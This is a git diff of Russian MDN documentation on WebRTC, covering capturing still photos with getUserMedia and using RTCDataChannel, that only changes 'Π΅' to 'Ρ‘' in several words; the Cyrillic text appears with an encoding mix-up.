+<p>Начнём с ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ всСго скрипта Π² Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π²ΠΎ ΠΈΠ·Π±Π΅ΠΆΠ°Π½ΠΈΠΈ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌΒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π½ΡƒΠΆΠ½Ρ‹Π΅Β  ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅.</p>
<pre>(function() {
var width = 320; // Π­Ρ‚ΠΈΠΌ создадим ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ
@@ -106,7 +106,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Β  {{domxref("MediaDevices.getUserMedia()")}} , Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΡ‚ΠΎΠΊ Π±Π΅Π· Π°ΡƒΠ΄ΠΈΠΎΠΏΠΎΡ‚ΠΎΠΊΠ° (<code>audio : false</code>). Он Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ опрСдСляСм ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ ΠΈ Π½Π΅ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ.</p>
-<p>УспСшноС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ промиса ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠΎΡ‚ΠΎΠΊΠ°(Β <code>stream</code>Β ) Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>then()</code>., ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ присваиваСтся свойству <code>srcObject</code> элСмСнта {{HTMLElement("video")}}, направляя ΠΏΠΎΡ‚ΠΎΠΊ Π² Π½Π΅Π³ΠΎ.</p>
+<p>УспСшноС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ промиса ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠΎΡ‚ΠΎΠΊΠ°(Β <code>stream</code>Β ) Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>then()</code>., ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ присваиваСтся свойству <code>srcObject</code> элСмСнта {{HTMLElement("video")}}, направляя ΠΏΠΎΡ‚ΠΎΠΊ Π² Π½Π΅Π³ΠΎ.</p>
<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΊ связан с элСмСнтом <code>&lt;video&gt;</code>Β ,Β  запускаСм Π΅Π³ΠΎ воспроизвСдСниС, Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>.</p>
@@ -114,7 +114,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
<h4 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_события_Π½Π°Ρ‡Π°Π»Π°_воспроизвСдСния">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° события Π½Π°Ρ‡Π°Π»Π° воспроизвСдСния</h4>
-<p>ПослС ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Β <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>Β Π½Π° элСмСнтС {{HTMLElement("video")}}, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚Β ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π΄ΠΎ Π½Π°Ρ‡Π°Π»Π° воспроизвСдСния Π²ΠΈΠ΄Π΅ΠΎΠΏΠΎΡ‚ΠΎΠΊΠ°. Для нСдопущСния блокирования интСрфСйса ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² это ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ, Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event("canplay")}} элСмСнта <code>video</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сработаСт, ΠΊΠΎΠ³Π΄Π° элСмСнт Π½Π°Ρ‡Π½Π΅Ρ‚ воспроизвСдСниС Π²ΠΈΠ΄Π΅ΠΎΠΏΠΎΡ‚ΠΎΠΊΠ°. Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ всС свойства элСмСнта <code>video</code>Β ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡΒ Π½Π° основС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΏΠΎΡ‚ΠΎΠΊΠ°.</p>
+<p>ПослС ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Β <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>Β Π½Π° элСмСнтС {{HTMLElement("video")}}, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚Β ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π΄ΠΎ Π½Π°Ρ‡Π°Π»Π° воспроизвСдСния Π²ΠΈΠ΄Π΅ΠΎΠΏΠΎΡ‚ΠΎΠΊΠ°. Для нСдопущСния блокирования интСрфСйса ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² это ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ, Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event("canplay")}} элСмСнта <code>video</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сработаСт, ΠΊΠΎΠ³Π΄Π° элСмСнт Π½Π°Ρ‡Π½Ρ‘Ρ‚ воспроизвСдСниС Π²ΠΈΠ΄Π΅ΠΎΠΏΠΎΡ‚ΠΎΠΊΠ°. Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ всС свойства элСмСнта <code>video</code>Β ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡΒ Π½Π° основС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΏΠΎΡ‚ΠΎΠΊΠ°.</p>
<pre> video.addEventListener('canplay', function(ev){
if (!streaming) {
@@ -147,7 +147,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
<h4 id="Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅_ΠΌΠ΅Ρ‚ΠΎΠ΄Π°_startup">Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β  startup()Β </h4>
-<p>Π•Ρ‰Π΅ ΠΏΠ°Ρ€Π° строк ΠΊΠΎΠ΄Π° Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅Β <code>startup()</code>:</p>
+<p>Π•Ρ‰Ρ‘ ΠΏΠ°Ρ€Π° строк ΠΊΠΎΠ΄Π° Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅Β <code>startup()</code>:</p>
<pre> clearphoto();
}</pre>
@@ -167,7 +167,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
photo.setAttribute('src', data);
}</pre>
-<p>НачнСм с получСния ссылки Π½Π° скрытый элСмСнт {{HTMLElement ("canvas")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ экрана.Β Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм свойство <code>fillStyle</code>Β Π²Β Β <code>#AAA</code> ( свСтло-сСрый) ΠΈ заполняСм вСсь холст этим Ρ†Π²Π΅Ρ‚ΠΎΠΌ, вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p>
+<p>Начнём с получСния ссылки Π½Π° скрытый элСмСнт {{HTMLElement ("canvas")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ экрана.Β Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм свойство <code>fillStyle</code>Β Π²Β Β <code>#AAA</code> ( свСтло-сСрый) ΠΈ заполняСм вСсь холст этим Ρ†Π²Π΅Ρ‚ΠΎΠΌ, вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p>
<p>НаконСц, Π² этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ <code>canvas</code> Π² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ PNG ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>{{domxref("Element.setAttribute", "photo.setAttribute()")}}</code> отобраТая Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ Ρ„ΠΎΠ½Β Π² элСмСнтС изобраТСния (бокса для Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ).</p>
@@ -207,9 +207,9 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Ρ этими эффСктами, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, инструмСнт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° FirefoxYou Β <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Style_Editor">Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ стилСй</a>; смотрим <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ с CSS Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°ΠΌΠΈ</a> о подробностях выполнСния.</p>
-<h2 id="ИспользованиС_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…_устройств">ИспользованиС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… устройств</h2>
+<h2 id="ИспользованиС_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…_устройств">ИспользованиС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… устройств</h2>
-<p>ΠŸΡ€ΠΈ нСобходимости Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… источников Π²ΠΈΠ΄Π΅ΠΎ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ устройством ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ€ΠΎΠΌ устройств. Для этого Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒΡΡ массивом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("MediaDeviceInfo")}} , ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… доступныС устройства , Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ доступ ΠΈ ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} ΠΈΠ»ΠΈ нСсколько <code>deviceId</code>Β Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β Β {{domxref("MediaTrackConstraints")}} , ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌ Π²Β  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p>
+<p>ΠŸΡ€ΠΈ нСобходимости Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… источников Π²ΠΈΠ΄Π΅ΠΎ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ устройством ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ€ΠΎΠΌ устройств. Для этого Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒΡΡ массивом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("MediaDeviceInfo")}} , ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… доступныС устройства , Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ доступ ΠΈ ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} ΠΈΠ»ΠΈ нСсколько <code>deviceId</code>Β Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β Β {{domxref("MediaTrackConstraints")}} , ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌ Π²Β  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈ_Ρ‚Π°ΠΊ_ΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅</h2>
diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html
index cbb64c54bb..1c2e5b2521 100644
--- a/files/ru/web/api/webrtc_api/using_data_channels/index.html
+++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html
@@ -16,15 +16,15 @@ translation_of: Web/API/WebRTC_API/Using_data_channels
<p>Основной транспорт ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ Ρ‚ΠΈΠΏΠ°Β {{domxref("RTCDataChannel")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ создан двумя способами:</p>
<ul>
- <li>ΠŸΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ WebRTC ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ транспорт ΠΈ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΎΠ± этом ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ (Π²Ρ‹Π·Π²Π°Π² Ρƒ Π½Π΅Π³ΠΎ событиС Ρ‚ΠΈΠΏΠ° Β {{event("datachannel")}} ). Π­Ρ‚ΠΎ простой способ, ΠΈ ΠΎΠ½ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΌΠ½ΠΎΠ³ΠΈΡ… случаСв, Π½ΠΎ Π½Π΅ достаточно Π³ΠΈΠ±ΠΎΠΊ для ΡˆΠΈΡ€ΠΎΠΊΠΈΡ… Π½ΡƒΠΆΠ΄.</li>
+ <li>ΠŸΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ WebRTC ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ транспорт ΠΈ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΎΠ± этом ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ (Π²Ρ‹Π·Π²Π°Π² Ρƒ Π½Π΅Π³ΠΎ событиС Ρ‚ΠΈΠΏΠ° Β {{event("datachannel")}} ). Π­Ρ‚ΠΎ простой способ, ΠΈ ΠΎΠ½ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΌΠ½ΠΎΠ³ΠΈΡ… случаСв, Π½ΠΎ Π½Π΅ достаточно Π³ΠΈΠ±ΠΎΠΊ для ΡˆΠΈΡ€ΠΎΠΊΠΈΡ… Π½ΡƒΠΆΠ΄.</li>
<li>ΠΠ°ΠΏΠΈΡΠ°Ρ‚ΡŒ свои скрипты ΠΏΠΎ согласованию транспорта Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ ΡΠΈΠ³Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ ΠΎ нСобходимости присоСдинСния к Π½ΠΎΠ²ΠΎΠΌΡƒ ΠΊΠ°Π½Π°Π»Ρƒ Π΄Π°Π½Π½Ρ‹Ρ….</li>
</ul>
-<p>Π Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΎΠ±Π° случая, начиная с ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ с Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнного.</p>
+<p>Π Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ ΠΎΠ±Π° случая, начиная с ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ с Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнного.</p>
<h3 id="АвтоматичСский_Ρ€Π΅ΠΆΠΈΠΌ_согласования">АвтоматичСский рСТим согласования</h3>
-<p>Π—Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ соСдинСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ согласованиС Β {{domxref("RTCDataChannel")}} соСдинСния Π·Π° Π½Π΅Π³ΠΎ. Для этого Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} Π±Π΅Π· опрСдСлСния значСния свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свойство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>false</code>. Π­Ρ‚ΠΎ автоматичСски Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚Β <code>RTCPeerConnection</code>Β Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ согласования соСдинСния Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, вызывая событиС созданиС ΠΊΠ°Π½Π°Π»Π° Π΄Π°Π½Π½Ρ‹Ρ… Ρƒ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°, связывая Π΄Π²Π° ΡƒΠ·Π»Π° вмСстС ΠΏΠΎ сСти.</p>
+<p>Π—Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ соСдинСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ согласованиС Β {{domxref("RTCDataChannel")}} соСдинСния Π·Π° Π½Π΅Π³ΠΎ. Для этого Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} Π±Π΅Π· опрСдСлСния значСния свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свойство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>false</code>. Π­Ρ‚ΠΎ автоматичСски Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚Β <code>RTCPeerConnection</code>Β Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ согласования соСдинСния Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, вызывая событиС созданиС ΠΊΠ°Π½Π°Π»Π° Π΄Π°Π½Π½Ρ‹Ρ… Ρƒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°, связывая Π΄Π²Π° ΡƒΠ·Π»Π° вмСстС ΠΏΠΎ сСти.</p>
<p>Π’Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>createDataChannel()</code>Β Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>RTCDataChannel</code>. ΠŸΠΎΠ΄ΠΏΠΈΡΡ‹Π²Π°ΡΡΡŒ Π½Π° событиС  {{domxref("RTCDataChannel.open_event", "open")}} , ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠ³Π΄Π° соСдинСниС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ откроСтся.</p>
@@ -39,7 +39,7 @@ dataChannel.addEventListener("open", (event) =&gt; {
<p>Для Ρ€ΡƒΡ‡Π½ΠΎΠ³ΠΎ согласования соСдинСния, сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{domxref("RTCDataChannel")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Β {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("RTCPeerConnection")}}, опрСдСляя свойство  {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code>. Π­Ρ‚ΠΎ сигнализируСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ соСдинСния Π½Π΅ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС автоматичСски.</p>
